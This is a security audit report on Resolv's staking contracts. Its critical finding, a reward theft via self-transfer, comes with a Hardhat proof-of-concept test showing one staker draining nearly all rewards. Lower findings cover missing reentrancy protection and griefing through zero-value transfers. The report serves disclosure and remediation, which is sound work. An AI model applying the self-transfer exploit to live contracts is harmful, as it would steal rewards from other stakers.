Pashov Audit Group

Resolv Security Review

Conducted by:
Shaka
btk
shaflow
smbv1923

July 25th 2025 - July 27th 2025

Contents

1. About Pashov Audit Group

Pashov Audit Group consists of 40+ freelance security researchers, who are well proven in the space - most have earned over $100k in public contest rewards, are multi-time champions or have truly excelled in audits with us. We only work with proven and motivated talent.

With over 300 security audits completed — uncovering and helping patch thousands of vulnerabilities — the group strives to create the absolute very best audit journey possible. While 100% security is never possible to guarantee, we do guarantee you our team's best efforts for your project.

Check out our previous work here or reach out on Twitter @pashovkrum.

2. Disclaimer

A smart contract security review can never verify the complete absence of vulnerabilities. This is a time, resource and expertise bound effort where we try to find as many vulnerabilities as possible. We can not guarantee 100% security after the review or even if the review will find any problems with your smart contracts. Subsequent security reviews, bug bounty programs and on-chain monitoring are strongly recommended.

3. Risk Classification

Severity	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

Impact

- **High** - leads to a significant material loss of assets in the protocol or significantly harms a group of users
- **Medium** - leads to a moderate material loss of assets in the protocol or moderately harms a group of users
- **Low** - leads to a minor material loss of assets in the protocol or harms a small group of users

Likelihood

- **High** - attack path is possible with reasonable assumptions that mimic on-chain conditions, and the cost of the attack is relatively low compared to the amount of funds that can be stolen or lost
- **Medium** - only a conditionally incentivized attack vector, but still relatively likely
- **Low** - has too many or too unlikely assumptions or requires a significant stake by the attacker with little or no incentive

4. About Resolv

Resolv Staking allows users to stake $RESOLV and receive non-transferable stRESOLV tokens used for governance and time-weighted reward distribution (WAHP). Rewards are calculated forward-only, based on updated stake balances, without retroactive changes. In parallel, the RewardDistributor contract mints and gradually distributes $USR rewards to the stUSR contract using a drip model and rebasing logic, enabling passive, proportionate earning without manual claims.

5. Executive Summary

A time-boxed security review of the **resolv-im/resolv-contracts** repository was done by Pashov Audit Group, during which **Shaka**, **btk**, **shaflow**, **smbv1923** engaged to review **Resolv**. A total of **3** issues were uncovered.

Protocol Summary	
Project Name	Resolv
Protocol Type	Governance token staking
Timeline	July 25th 2025 - July 27th 2025

Review commit hash:
- f7d7fee7ca456a564fb24b2db5b3f740ef7fa525 (resolv-im/resolv-contracts)

Fixes review commit hash:
- 2f71574f8d57d9ecac9cbf30dc38064394796f60 (resolv-im/resolv-contracts)

Scope

`ResolvStakingV2.sol` `ResolvToken.sol`

6. Findings

Findings count

Severity	Amount
Critical	1
Low	2
Total findings	**3**

Summary of findings

ID	Title	Severity	Status
[C-01]	Rewards can be stolen by transferring tokens to oneself	Critical	**Resolved**
[L-01]	`_update` function lacks the `nonReentrant` modifier	Low	**Resolved**
[L-02]	Checkpoint update can be bypassed with 0 token transfer	Low	Acknowledged

Critical findings

[C-01] Rewards can be stolen by transferring tokens to oneself

Severity

Impact: High

Likelihood: High

Description

When `ResolvStakingV2` tokens are transferred, the checkpoints for the sender and the receiver are updated accordingly.

When a user transfers tokens to themselves, the first checkpoint is updated with a negative delta for the user, and the second checkpoint is updated with a positive delta for the same user.

However, after the first checkpoint is updated, the user's balance has not been updated, so when `ResolvStakingCheckpoints.updateEffectiveBalance()` is called for the second checkpoint, the `userStakedBalance` parameter is overestimating the user's balance, which results in the user's `effectiveBalance` being greater than it should be.

```
    function _update(
        address _from,
        address _to,
        uint256 _value
    ) internal override(ERC20VotesUpgradeable, ERC20Upgradeable) {
        if (_from != address(0) && _to != address(0)) {
            checkpoint(_from, false, address(0), - SafeCast.toInt256(_value));
@>          checkpoint(_to, false, address(0), SafeCast.toInt256(_value));

(...)

    function checkpoint(
        address _user,
        bool _claim,
        address _rewardReceiver,
        int256 _delta
    ) internal {
(...)
        totalEffectiveSupply = usersData.updateEffectiveBalance(
            ResolvStakingCheckpoints.UpdateEffectiveBalanceParams({
                user: _user,
@>              userStakedBalance: balanceOf(_user),
```

As a result, users can inflate their effective balance by transferring tokens to themselves, which allows them to claim more rewards than they should, leading to the other users receiving fewer rewards. In practice, this allows someone to steal all the available rewards from the contract.

Proof of concept

Add the following code to the file `ResolvStakingV2.ts` and run `yarn hardhat test`.

```
it.only("Transfer to oneself increases effective balance", async () => {
    const {
        resolvToken,
        resolvStaking,
        REWARD_18,
        staker,
        staker1,
        resolvInitialSupplyHolder
    } = await loadFixture(deployTokenFixture);
    await resolvStaking.setTransferEnabled(true);
    await resolvStaking.setClaimEnabled(true);

    // Two stakers deposit the same amount (100 RESOLV)
    await resolvToken.connect(staker).approve(resolvStaking, ethers.MaxUint256);
    await resolvToken.connect(staker1).approve(resolvStaking, ethers.MaxUint256);
    await resolvToken.connect(resolvInitialSupplyHolder).transfer(staker, parseRESOLV(100));
    await resolvStaking.connect(staker).deposit(parseRESOLV(100), staker);
    await resolvToken.connect(resolvInitialSupplyHolder).transfer(staker1, parseRESOLV(100));
    await resolvStaking.connect(staker1).deposit(parseRESOLV(100), staker1);

    // Distributor deposits 140 reward tokens
    await resolvStaking.addRewardToken(REWARD_18);
    await REWARD_18.approve(resolvStaking.getAddress(), ethers.MaxUint256);
    await resolvStaking.depositReward(REWARD_18, parseREWARD18(140), 0);

    // Staker transfers 100 stRESOLV to himself
    await resolvStaking.connect(staker).transfer(staker, parseRESOLV(100));

    // Staker effective balance is equal to total effective supply
    const stakerEffectiveBalance = (await
resolvStaking.usersData(staker.address)).effectiveBalance;
    const totalEffectiveSupply = await resolvStaking.totalEffectiveSupply();
    expect(stakerEffectiveBalance).to.equal(totalEffectiveSupply);

    // Rewards are accumulated for 14 days
    await time.increase(DAYS_14);

    // Checkpoints are updated
    await resolvStaking.connect(staker).updateCheckpoint(staker);
    await resolvStaking.connect(staker1).updateCheckpoint(staker1);

    // Staker claimable rewards are approx double the amount of staker1
    const stakerClaimable = await resolvStaking.getUserClaimableAmounts(staker, REWARD_18);
    const staker1Claimable = await resolvStaking.getUserClaimableAmounts(staker1, REWARD_18);
    expect(stakerClaimable).to.closeTo(parseREWARD18(140), 10n ** 14n); // 0.0001e18 tolerance
    expect(staker1Claimable).to.closeTo(parseREWARD18(70), 10n ** 14n); // 0.0001e18 tolerance
```

```
    // Both stakers claim rewards
    await resolvStaking.connect(staker).claim(staker, staker);
    await resolvStaking.connect(staker1).claim(staker1, staker1);

    // Staker claims almost all rewards
    // Staker1 claims almost nothing, as there are not enough reward tokens left in the contract
    const stakerBalance = await REWARD_18.balanceOf(staker.address);
    const staker1Balance = await REWARD_18.balanceOf(staker1.address);
    expect(stakerBalance).to.closeTo(parseREWARD18(140), 10n ** 14n); // 0.0001e18 tolerance
    expect(staker1Balance).to.closeTo(parseREWARD18(0), 10n ** 14n); // 0.0001e18 tolerance
})
```

Recommendations

```
    function _update(
        address _from,
        address _to,
        uint256 _value
    ) internal override(ERC20VotesUpgradeable, ERC20Upgradeable) {
        if (_from != address(0) && _to != address(0)) {
+       require(_from != _to, ResolvStakingErrors.TransferToSelf());
            checkpoint(_from, false, address(0), - SafeCast.toInt256(_value));
```

Low findings

[L-01] `_update` function lacks the `nonReentrant` modifier

All functions related to updating checkpoints are protected with the `nonReentrant` modifier to prevent reentrancy. However, the `_update` function, called during `transfer` and `transferFrom` operations to update checkpoints, is not protected by `nonReentrant`.

```
function _update(
    address _from,
    address _to,
    uint256 _value
) internal override(ERC20VotesUpgradeable, ERC20Upgradeable) {
    if (_from != address(0) && _to != address(0)) {
        checkpoint(_from, false, address(0), - SafeCast.toInt256(_value));
        checkpoint(_to, false, address(0), SafeCast.toInt256(_value));
    }
    super._update(_from, _to, _value);
}
```

For special reward tokens that support hooks or external callbacks, this could allow reentrant calls into `checkpoint` logic during a transfer. Although no specific impact has been identified so far, it's recommended to apply the same `nonReentrant` protection to `_update` to align with the rest of the checkpoint update logic and eliminate potential reentrancy risks.

[L-02] Checkpoint update can be bypassed with 0 token transfer

The `updateCheckpoint()` and `claim()` functions can only be called by the user or by a delegated account. This restriction was introduced to prevent griefing attacks that could affect the user's claimable rewards, as it was described in this issue of a previous audit.

However, with transfers enabled, the restriction to trigger the checkpoint update can be bypassed by transferring 0 tokens to the user, allowing anyone to update the checkpoint and potentially grief the user by manipulating their claimable rewards.

It is also important to note that the same attack vector exists for the `deposit()` function, which allows anyone to deposit tokens on behalf of a user. Although in this case, it is required to donate at least 1 wei on each deposit, which makes it less likely to be exploited, especially considering that the scale factor for rewards is now set to `1e24`.

Recommendations

The easiest way to prevent this attack would be to require a minimum amount of tokens to be transferred or deposited on behalf of a user, or alternatively, to use a permissioned system where users whitelist accounts that can transfer tokens to them or deposit tokens on their behalf.